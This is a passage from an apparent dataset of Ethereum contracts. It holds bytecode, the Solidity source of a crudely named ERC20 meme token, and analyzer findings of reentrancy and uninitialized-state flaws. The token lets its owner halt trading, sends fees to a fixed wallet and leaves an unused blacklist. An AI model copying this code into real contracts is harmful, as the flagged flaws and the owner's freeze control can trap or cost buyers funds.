_curveSwap(to, pool, moreInfo);
}
} | 0x608060405234801561001057600080fd5b50600436106100365760003560e01c806330e6ae311461003b5780636f7929f21461003b575b600080fd5b6100fa6004803603606081101561005157600080fd5b6001600160a01b03823581169260208101359091169181019060608101604082013564010000000081111561008557600080fd5b82018360208201111561009757600080fd5b803590602001918460018302840111640100000000831117156100b957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506100fc945050505050565b005b61010783838361010c565b505050565b60008060008084806020019051608081101561012757600080fd5b508051602080830151604080850151606090950151815163046e8dd760e31b8152600f87810b900b6004820152915194995091975093955093506001600160a01b038916926323746eb89260248083019392829003018186803b15801561018d57600080fd5b505afa1580156101a1573d6000803e3d6000fd5b505050506040513d60208110156101b757600080fd5b50516001600160a01b03858116911614610214576040805162461bcd60e51b815260206004820152601960248201527821bab93b32a0b230b83a32b91d102ba927a723afaa27a5a2a760391b604482015290519081900360640190fd5b856001600160a01b03166323746eb8826040518263ffffffff1660e01b81526004018082600f0b600f0b815260200191505060206040518083038186803b15801561025e57600080fd5b505afa158015610272573d6000803e3d6000fd5b505050506040513d602081101561028857600080fd5b50516001600160a01b038481169116146102e5576040805162461bcd60e51b815260206004820152601960248201527821bab93b32a0b230b83a32b91d102ba927a723afaa27a5a2a760391b604482015290519081900360640190fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b038716916370a0823191602480820192602092909190829003018186803b15801561032f57600080fd5b505afa158015610343573d6000803e3d6000fd5b505050506040513d602081101561035957600080fd5b50516040805163095ea7b360e01b81526001600160a01b038a811660048301526024820184905291519293509087169163095ea7b3916044808201926020929091908290030181600087803b1580156103b157600080fd5b505af11580156103c5573d6000803e3d6000fd5b505050506040513d60208110156103db57600080fd5b505060408051630f7c084960e21b8152600f85810b810b600483015284810b900b60248201526044810183905260006064820181905291516001600160a01b038a1692633df02124926084808201939182900301818387803b15801561044057600080fd5b505af1158015610454573d6000803e3d6000fd5b505050506001600160a01b03881630146104f4576104f48489866001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156104c357600080fd5b505afa1580156104d7573d6000803e3d6000fd5b505050506040513d60208110156104ed57600080fd5b50516104fe565b5050505050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261010790849060006060836001600160a01b0316836040518082805190602001908083835b602083106105895780518252601f19909201916020918201910161056a565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146105eb576040519150601f19603f3d011682016040523d82523d6000602084013e6105f0565b606091505b509150915081610647576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156106a05780806020019051602081101561066357600080fd5b50516106a05760405162461bcd60e51b815260040180806020018281038252602a8152602001806106a7602a913960400191505060405180910390fd5b5050505056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212207b1a7010dbe95998ce6c3138ba13ce28bcf0cac342bf655c1b6757a265db50e064736f6c63430006090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,671 |
0xa44e3961f80f11317b5b5b59c889b355641e2256 | /**
Big Black Ass for , eat it up
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BigBlackAss is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Big Black Ass";
string private constant _symbol = "BigBlackAss";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 7;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _taaxAddress = payable(0x987c674B1192a6c620CD2ab807a8B3b40d192C8c);
address payable private _ttaxAddress = payable(0x987c674B1192a6c620CD2ab807a8B3b40d192C8c);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 90000000000 * 10**9;
uint256 public _maxWalletSize = 50000000000 * 10**9;
uint256 public _swapTokensAtAmount = 20000000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taaxAddress] = true;
_isExcludedFromFee[_ttaxAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_ttaxAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _taaxAddress || _msgSender() == _ttaxAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _taaxAddress || _msgSender() == _ttaxAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 9000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101bb5760003560e01c80637f2feddc116100ec578063a9059cbb1161008a578063c492f04611610064578063c492f0461461050b578063dd62ed3e1461052b578063ea1644d514610571578063f2fde38b1461059157600080fd5b8063a9059cbb146104a6578063bfd79284146104c6578063c3c8cd80146104f657600080fd5b80638f9a55c0116100c65780638f9a55c01461041c57806395d89b411461043257806398a5c31514610466578063a2a957bb1461048657600080fd5b80637f2feddc146103b15780638da5cb5b146103de5780638f70ccf7146103fc57600080fd5b806349bd5a5e1161015957806370a082311161013357806370a0823114610346578063715018a61461036657806374010ece1461037b5780637d1db4a51461039b57600080fd5b806349bd5a5e146102ef5780636d8aa8f81461030f5780636fc3eaec1461033157600080fd5b806318160ddd1161019557806318160ddd1461027757806323b872dd1461029d5780632fd689e3146102bd578063313ce567146102d357600080fd5b806306fdde03146101c7578063095ea7b31461020f5780631694505e1461023f57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b5060408051808201909152600d81526c42696720426c61636b2041737360981b60208201525b6040516102069190611987565b60405180910390f35b34801561021b57600080fd5b5061022f61022a3660046119f1565b6105b1565b6040519015158152602001610206565b34801561024b57600080fd5b5060145461025f906001600160a01b031681565b6040516001600160a01b039091168152602001610206565b34801561028357600080fd5b50683635c9adc5dea000005b604051908152602001610206565b3480156102a957600080fd5b5061022f6102b8366004611a1d565b6105c8565b3480156102c957600080fd5b5061028f60185481565b3480156102df57600080fd5b5060405160098152602001610206565b3480156102fb57600080fd5b5060155461025f906001600160a01b031681565b34801561031b57600080fd5b5061032f61032a366004611a73565b610631565b005b34801561033d57600080fd5b5061032f610682565b34801561035257600080fd5b5061028f610361366004611a8e565b6106cd565b34801561037257600080fd5b5061032f6106ef565b34801561038757600080fd5b5061032f610396366004611aab565b610763565b3480156103a757600080fd5b5061028f60165481565b3480156103bd57600080fd5b5061028f6103cc366004611a8e565b60116020526000908152604090205481565b3480156103ea57600080fd5b506000546001600160a01b031661025f565b34801561040857600080fd5b5061032f610417366004611a73565b6107a2565b34801561042857600080fd5b5061028f60175481565b34801561043e57600080fd5b5060408051808201909152600b81526a426967426c61636b41737360a81b60208201526101f9565b34801561047257600080fd5b5061032f610481366004611aab565b6107ea565b34801561049257600080fd5b5061032f6104a1366004611ac4565b610819565b3480156104b257600080fd5b5061022f6104c13660046119f1565b6109cf565b3480156104d257600080fd5b5061022f6104e1366004611a8e565b60106020526000908152604090205460ff1681565b34801561050257600080fd5b5061032f6109dc565b34801561051757600080fd5b5061032f610526366004611af6565b610a30565b34801561053757600080fd5b5061028f610546366004611b7a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057d57600080fd5b5061032f61058c366004611aab565b610ad1565b34801561059d57600080fd5b5061032f6105ac366004611a8e565b610b00565b60006105be338484610bea565b5060015b92915050565b60006105d5848484610d0e565b610627843361062285604051806060016040528060288152602001611d2e602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061124a565b610bea565b5060019392505050565b6000546001600160a01b031633146106645760405162461bcd60e51b815260040161065b90611bb3565b60405180910390fd5b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806106b757506013546001600160a01b0316336001600160a01b0316145b6106c057600080fd5b476106ca81611284565b50565b6001600160a01b0381166000908152600260205260408120546105c2906112c2565b6000546001600160a01b031633146107195760405162461bcd60e51b815260040161065b90611bb3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461078d5760405162461bcd60e51b815260040161065b90611bb3565b677ce66c50e28400008111156106ca57601655565b6000546001600160a01b031633146107cc5760405162461bcd60e51b815260040161065b90611bb3565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108145760405162461bcd60e51b815260040161065b90611bb3565b601855565b6000546001600160a01b031633146108435760405162461bcd60e51b815260040161065b90611bb3565b60048411156108a25760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b606482015260840161065b565b60148211156108fe5760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b606482015260840161065b565b600483111561095e5760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b606482015260840161065b565b60148111156109bb5760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b606482015260840161065b565b600893909355600a91909155600955600b55565b60006105be338484610d0e565b6012546001600160a01b0316336001600160a01b03161480610a1157506013546001600160a01b0316336001600160a01b0316145b610a1a57600080fd5b6000610a25306106cd565b90506106ca81611346565b6000546001600160a01b03163314610a5a5760405162461bcd60e51b815260040161065b90611bb3565b60005b82811015610acb578160056000868685818110610a7c57610a7c611be8565b9050602002016020810190610a919190611a8e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610ac381611c14565b915050610a5d565b50505050565b6000546001600160a01b03163314610afb5760405162461bcd60e51b815260040161065b90611bb3565b601755565b6000546001600160a01b03163314610b2a5760405162461bcd60e51b815260040161065b90611bb3565b6001600160a01b038116610b8f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161065b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c4c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161065b565b6001600160a01b038216610cad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161065b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d725760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161065b565b6001600160a01b038216610dd45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161065b565b60008111610e365760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161065b565b6000546001600160a01b03848116911614801590610e6257506000546001600160a01b03838116911614155b1561114357601554600160a01b900460ff16610efb576000546001600160a01b03848116911614610efb5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161065b565b601654811115610f4d5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161065b565b6001600160a01b03831660009081526010602052604090205460ff16158015610f8f57506001600160a01b03821660009081526010602052604090205460ff16155b610fe75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161065b565b6015546001600160a01b0383811691161461106c5760175481611009846106cd565b6110139190611c2f565b1061106c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161065b565b6000611077306106cd565b6018546016549192508210159082106110905760165491505b8080156110a75750601554600160a81b900460ff16155b80156110c157506015546001600160a01b03868116911614155b80156110d65750601554600160b01b900460ff165b80156110fb57506001600160a01b03851660009081526005602052604090205460ff16155b801561112057506001600160a01b03841660009081526005602052604090205460ff16155b156111405761112e82611346565b47801561113e5761113e47611284565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061118557506001600160a01b03831660009081526005602052604090205460ff165b806111b757506015546001600160a01b038581169116148015906111b757506015546001600160a01b03848116911614155b156111c45750600061123e565b6015546001600160a01b0385811691161480156111ef57506014546001600160a01b03848116911614155b1561120157600854600c55600954600d555b6015546001600160a01b03848116911614801561122c57506014546001600160a01b03858116911614155b1561123e57600a54600c55600b54600d555b610acb848484846114cf565b6000818484111561126e5760405162461bcd60e51b815260040161065b9190611987565b50600061127b8486611c47565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156112be573d6000803e3d6000fd5b5050565b60006006548211156113295760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161065b565b60006113336114fd565b905061133f8382611520565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061138e5761138e611be8565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113e257600080fd5b505afa1580156113f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061141a9190611c5e565b8160018151811061142d5761142d611be8565b6001600160a01b0392831660209182029290920101526014546114539130911684610bea565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061148c908590600090869030904290600401611c7b565b600060405180830381600087803b1580156114a657600080fd5b505af11580156114ba573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114dc576114dc611562565b6114e7848484611590565b80610acb57610acb600e54600c55600f54600d55565b600080600061150a611687565b90925090506115198282611520565b9250505090565b600061133f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c9565b600c541580156115725750600d54155b1561157957565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115a2876116f7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115d49087611754565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116039086611796565b6001600160a01b038916600090815260026020526040902055611625816117f5565b61162f848361183f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161167491815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006116a38282611520565b8210156116c057505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116ea5760405162461bcd60e51b815260040161065b9190611987565b50600061127b8486611cec565b60008060008060008060008060006117148a600c54600d54611863565b92509250925060006117246114fd565b905060008060006117378e8787876118b8565b919e509c509a509598509396509194505050505091939550919395565b600061133f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061124a565b6000806117a38385611c2f565b90508381101561133f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161065b565b60006117ff6114fd565b9050600061180d8383611908565b3060009081526002602052604090205490915061182a9082611796565b30600090815260026020526040902055505050565b60065461184c9083611754565b60065560075461185c9082611796565b6007555050565b600080808061187d60646118778989611908565b90611520565b9050600061189060646118778a89611908565b905060006118a8826118a28b86611754565b90611754565b9992985090965090945050505050565b60008080806118c78886611908565b905060006118d58887611908565b905060006118e38888611908565b905060006118f5826118a28686611754565b939b939a50919850919650505050505050565b600082611917575060006105c2565b60006119238385611d0e565b9050826119308583611cec565b1461133f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161065b565b600060208083528351808285015260005b818110156119b457858101830151858201604001528201611998565b818111156119c6576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146106ca57600080fd5b60008060408385031215611a0457600080fd5b8235611a0f816119dc565b946020939093013593505050565b600080600060608486031215611a3257600080fd5b8335611a3d816119dc565b92506020840135611a4d816119dc565b929592945050506040919091013590565b80358015158114611a6e57600080fd5b919050565b600060208284031215611a8557600080fd5b61133f82611a5e565b600060208284031215611aa057600080fd5b813561133f816119dc565b600060208284031215611abd57600080fd5b5035919050565b60008060008060808587031215611ada57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b0b57600080fd5b833567ffffffffffffffff80821115611b2357600080fd5b818601915086601f830112611b3757600080fd5b813581811115611b4657600080fd5b8760208260051b8501011115611b5b57600080fd5b602092830195509350611b719186019050611a5e565b90509250925092565b60008060408385031215611b8d57600080fd5b8235611b98816119dc565b91506020830135611ba8816119dc565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c2857611c28611bfe565b5060010190565b60008219821115611c4257611c42611bfe565b500190565b600082821015611c5957611c59611bfe565b500390565b600060208284031215611c7057600080fd5b815161133f816119dc565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ccb5784516001600160a01b031683529383019391830191600101611ca6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d0957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d2857611d28611bfe565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204860f5e17482d5252007798180d039ecb45147056655e5aa1ba3e51f19bba83264736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 9,672 |
0x71a564c2b017ab7ebf10cbc2bf654e4a575a0326 | /**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
/**
❤️02Inu❤️
02 is an artificially-created life form who
aspires to become fully human,
and an elite pilot with an infamous reputation
